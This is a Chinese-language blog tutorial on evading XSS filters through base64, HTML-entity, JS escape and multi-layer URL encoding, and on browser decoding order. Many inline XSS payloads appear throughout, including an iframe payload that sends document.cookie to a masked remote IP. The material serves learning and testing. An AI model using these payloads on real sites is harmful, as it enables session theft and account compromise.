凡心所向,素履所往

编码绕过xss

字数统计: 3.3k阅读时长: 14 min
2018/12/02 Share

标签

img、video、audio、iframe中的src属性只能请求,不能执行,在ie8以前可以;但可以使用js伪协议调用js

<iframe src="javascript:alert('iframe')" width = "0" height = "0"/>

<iframe src="javascript:var img=document.createElement('img');
img.src='http://xx.xxx.xxx.xxx/log'+escape(document.cookie);
document.body.appendChild(img);"/>

Base64编码绕过

一般应用场景:

<a href="可控点">
<iframe src="可控点">

当在这种情况下 过滤了<>’ “ javascript的话 就可以尝试使用base64编码绕过

<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>

<img src=x onerror=alert(1)>

这样当test A链接时,就会以data协议 页面以html/text的方式解析 编码为base64 然后单点击a链接时 base64的编码就被还原成原本的

HTML编码16进制/10进制 &#x/&

html实体编码本身只是为了防止与html本身语义标记的冲突。html正常只识别html10进制、html16进制,不会在html标签中解析js的那些编码,因此在比如onerror后放置js的编码比如jsunicode、js八进制、js16进制是不会解析的。

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

magic_quote_gpc绕过

在遇到php中magic_quote_gpc(版本5.4之后已经移除了) 魔术变量处理开关转义,即便存储到后台的数据也会是转义的,如果输入的数据有
单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。针对该设置,进行xss绕过的话,通常使用js的string.fromCharCode()

<?php
$a=$_GET['id'];
echo $a;
?>

http://localhost:8888/ev_php/xss_gpc.php?id=%3Cscript%3Ealert(String.fromCharCode(34,%2049,%2034))%3C/script%3E

<script>alert(String.fromCharCode(34, 49, 34))</script>

string.fromCharCode(): Unicode 字符值中返回一个字符串

javascript jsunicode 8进制和16进制

[<] 分别是 \u003c \74 \x3c

宽字节绕过

头部Base绕过

url编码

【1】浏览器在发出url前会进行一次url编码,针对部分字符,以firefox为例子:

发出的请求    '" <script>alert(1)</script> 
服务端接收到的请求  %27%22%20%3Cscript%3Ealert(1)%3C/script%3E

服务端自动解码一次返回数据(默认) 
'" <script>alert(1)</script> 

这也是为什么提交payload的时候可以不编码、urlencode
注意 浏览器的urlencode 应该是不包括%的,和常规的urlencode不太一样

  • 双重编码
    在某些时候测试xss中,可能会遇到payload中被htmlspecialcahrs编码,但可以针对服务端进行双重编码绕过,推测该后端代码
    <?php
    $a=htmlspecialchars($_GET['id']);
    echo urldecode($a);
    ?>
    
    在该url中经过htmlspecialchars处理后,又再次进行了urldecode,相当于进行了两次urldecode,又因为经过编码绕过了htmlspecialchars的处理,故触发了该xss
  • 三重编码
    和双重绕过类似,推测多出来的一次是因为在htmlspecialchars前又进行了一次编码,如果没有后面那一行”echo urldecode($a);” 过滤是正常的,两者问题都出在此处
    <?php
    $a=$_GET['id'];
    $a1=htmlspecialchars($a);
    echo urldecode($a1);
    ?>
    

浏览器编码解码原理

为了更深入的了解xss的结果和原理,不得不了解浏览器的工作原理,以及解码顺序。
浏览器中具有URL解析引擎、HTML解析引擎、JS解析引擎
主要构成:

  • 用户界面
  • 浏览器引擎- 用来查询及操作渲染引擎的接口
  • 渲染引擎- 用来显示请求的内容,例如,如果请求内容为html,它负责解析html及css,并将解析后的结果显示出来
  • 网络- 用来完成网络调用,例如http请求,它具有平台无关的接口,可以在不同平台上工作
  • UI 后端- 用来绘制类似组合选择框及对话框等基本组件,具有不特定于某个平台的通用接口,底层使用操作系统的用户接口
  • JS解释器- 用来解释执行JS代码
  • 数据存储- 属于持久层,浏览器需要在硬盘中保存类似cookie的各种数据,HTML5定义了web database技术,这是一种轻量级完整的客户端存储技术

重点是接下来的编码解码顺序

首先是URL解析:

  • 用户在浏览器中填写一个资源定位标识,浏览器在将内容发送给对应的服务器,服务器对浏览器发过来的请求信息进行URL解析,在这个过程中遇到%号时会对该url进行url解码,该解码位置在于服务端自动解码一次,不需要编写代码,浏览器自身是不会进行url解码的
    案例:
  1. 在客户端提交一次经过urlencode的字符串,在接收到服务端的返回数据时,已经经过urldecode了,而服务端如果直接返回urlencode的数据,浏览器接收到仍然用urlencode的形式渲染,在xss中并不会起作用,测试代码如下,有点乱 小尴尬:
    <?php
    echo $a1=$_GET['id'];
    echo "1</br>";
    echo $a2 ="%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e";
    ?>
    
    在测试中a2的xss仍然以urlencode的形式返回到浏览器而不会解析,而以get方式提交的id,以urlencode形式提交则会解析触发xss
  • HTMl/SVG/XHTML 解析
    浏览器在接收到页面数据时,会首先对该数据进行HTML解析来构造DOM树,构造的过程与语言的编译过程是相似的,接收文档,先进行词法分析,然后语法分析,构建解析树。HTML 的分析器只能识别特定的词法规则,才能构建起DOM 树,这一块,HTML 不会做解码的工作
    因此以下代码无效:即标签本身结构不能变化
    <img src&#x3d;"http://xxx.xxx.xx.xxx">
    
    在DOM构建完成后,才开始识别节点内容
    对html实体编码的内容进行解码
    构造DOM树
    解析树是由DOM元素和属性节点构成的树结构,根节点是Document对象,DOM与标记一一对应
    <html>
    <head>
      <meta charset="utf-8">
      <title>
      </title>
    </head>
    <body>
    <p></p>
    <h1></h1>
    </body>
    </html>
    
    对应的DOM树:
    graph TD
    st(HTMLDocument)-->a
    a(HTML)
    a-->b1(head)
    a-->b2(body)
    b1-->c1(meta)
    b1-->c2(title)
    b2-->p1(p)
    b2-->p2(h)
    
    解析过程是迭代的,解析器从词法分析器处取到一个新的符号,并试着用这个符号匹配一条语法规则,如果匹配了一条规则,这个符号对应的节点将被添加到解析树上,然后解析器请求另一个符号。如果没有匹配到规则,解析器将在内部保存该符号,并从词法分析器取下一个符号,直到所有内部保存的符号能够匹配一项语法规则。如果最终没有找到匹配的规则,解析器将抛出一个异常,这意味着文档无效或是包含语法错误。
如:<img11 src=1 onerror='a(1)'>
在浏览器解析时会报错:
HTML 文档的字符编码未声明。如果该文件包含 US-ASCII 范围之外的字符,该文件将在某些浏览器配置中呈现为乱码。页面的字符编码必须在文档或传输协议层声明。  untitled.html

而最后输出的树,也就是这里的解析树,是由DOM元素及属性节点组成的
DOM树构建完毕后

html编码就会被解析,html解析中无法用常规的自下而上或自上而下的解析器进行解析
原因在于:
语言的宽容本质
浏览器历来对一些常见的无效html用法采取包容态度
解析过程需要不断地重复,源内容在解析过程中通常不会改变,但是在 HTML 中,脚本标记如果包含 document.write,就会添加额外的标记,这样解析过程实际上就更改了输入内容,浏览器创建了自定义的解释器来解析HTML

  • html解释器算法

标记化和树构建
标记化是词法分析过程、将输入内容解析成多个标记
构建解析流程图如下:

graph TD
st[network]-->a1
a1[tokeniser]-->a2
a2{tree construction}-->a3[DOM]
a2{tree construction}-->a4[ScriptExecution]
a4[ScriptExecution]-->a1
a3-->a4

标记生成器识别标记,传递给树构造器,然后接受下一个字符以识别下一个标记;如此反复直到输入的结束

js解释器

在处理如
“script、style”这样的标签,解释器会切换到特殊解析模式,在src href 后边加入的JavaScript 等的html解码后,进入js的解析模式,进入该模式后,该DOM节点已经建立起了。

所以先进行jsunincode编码再进行html编码可以正常触发

<a href="javascript:alert&#40;&#39;&#60;&#92;&#117;&#52;&#101;&#48;&#48;&#62;&#39;&#41;">test</a>

在测试中 先进行html实体编码,再进行js16进制转码,不会正常解码

源码:<a href="javascript:alert('test')">test</a>

测试输出为unicode编码:

先html:
<a href="javascript:alert('&#116;&#101;&#115;&#116;')">test</a>
再js16进制:
<a href="javascript:alert('\x26\x23\x31\x31\x36\x3b\x26\x23\x31\x30\x31\x3b\x26\x23\x31\x31\x35\x3b\x26\x23\x31\x31\x36;')">test</a>

正常输出:test

<a href="javascript:alert('&#92;&#120;&#55;&#52;&#92;&#120;&#54;&#53;&#92;&#120;&#55;&#51;&#92;&#120;&#55;&#52;')">test</a>
先js 16进制:
<a href="javascript:alert('\x74\x65\x73\x74')">test</a>
再html编码:
<a href="javascript:alert('&#92;&#120;&#55;&#52;&#92;&#120;&#54;&#53;&#92;&#120;&#55;&#51;&#92;&#120;&#55;&#52;')">test</a>

先进行html编码再进行unicode编码 解析失败

<a href="javascript:\u0026\u0023\u0039\u0037\u003b\u0026\u0023\u0031\u0030\u0038\u003b\u0026\u0023\u0031\u0030\u0031\u003b\u0026\u0023\u0031\u0031\u0034\u003b\u0026\u0023\u0031\u0031\u0036\u003b('1111')">test</a>

先进行unicode编码再进行html编码解析成功

<a href="javascript:&#92;&#117;&#48;&#48;&#54;&#49;&#92;&#117;&#48;&#48;&#54;&#99;&#92;&#117;&#48;&#48;&#54;&#53;&#92;&#117;&#48;&#48;&#55;&#50;&#92;&#117;&#48;&#48;&#55;&#52;('1111')">test</a>

综上 浏览器对于编码解码的顺序 url解码-html解码-js解码

tips:经测试 js16进制/8进制只会在js 字符串中解析,如果作为变量名、触发事件则不会解析如:

思考:<<白帽子讲Web安全>>

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
<script>
    var x2=\x61\x6c\x65rt(1);
    var x1=" 'onclick=alert(1);//'"
    var x="\x20\x27onclick\x3dalert\x281\x29\x3b\x2f\x2f\27";
    document.write("<a href='"+x1+"'>test<a>");
</script>
</body>
</html>

可以用以下例子来尝试看一下弹窗顺序

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
<img src=1 onerror='a(1)'>
<script type="text/javascript">
    a(2);
</script>
<script type="text/javascript">
    function a(c){
        alert(c);
    }
</script>
<script type="text/javascript">
    a(3);
</script>
</body>
</html>

参考 0x_Jin 凯神的《XSS与字符编码那些事儿》

案例

xss中禁用了&#符号

实体编码是由&#组成的,这个时候只能考虑能不能通过url编码绕过&#,再让浏览器解码成 &# 然后拼接x27 最后就成为了单引号的html16进制编码来绕过
借用凯神的案例

<a href="javascript:location='./3.3.php?offset='+document.getElementById('pagenum').value+'&searchtype_yjbg=yjjg&searchvalue_yjbg='">GO</a>

提交的payload:

wooyun%26%23x27,alert(1)%2b%26%23x27

解码后

',alert(1)'

感谢在@星尘的指导下,从新捋了捋xss编码的问题,现阶段就暂时到这吧。还是沉淀不够。革命尚未成功,同志尚需努力啊 by @流云

在线工具

在线编码解码工具:
https://www.mokuge.com/tool/unicode/

参考

宽字节:

CATALOG
  1. 1. 标签
  2. 2. Base64编码绕过
  3. 3. HTML编码16进制/10进制 &#x/&
  4. 4. magic_quote_gpc绕过
  5. 5. javascript jsunicode 8进制和16进制
  6. 6. 宽字节绕过
  7. 7. 头部Base绕过
  8. 8. url编码
  • 浏览器编码解码原理
    1. 1. 重点是接下来的编码解码顺序
      1. 1.1. 构造DOM树
      2. 1.2. js解释器
    2. 2. 案例
      1. 2.1. xss中禁用了&#符号
    3. 3. 在线工具
    4. 4. 参考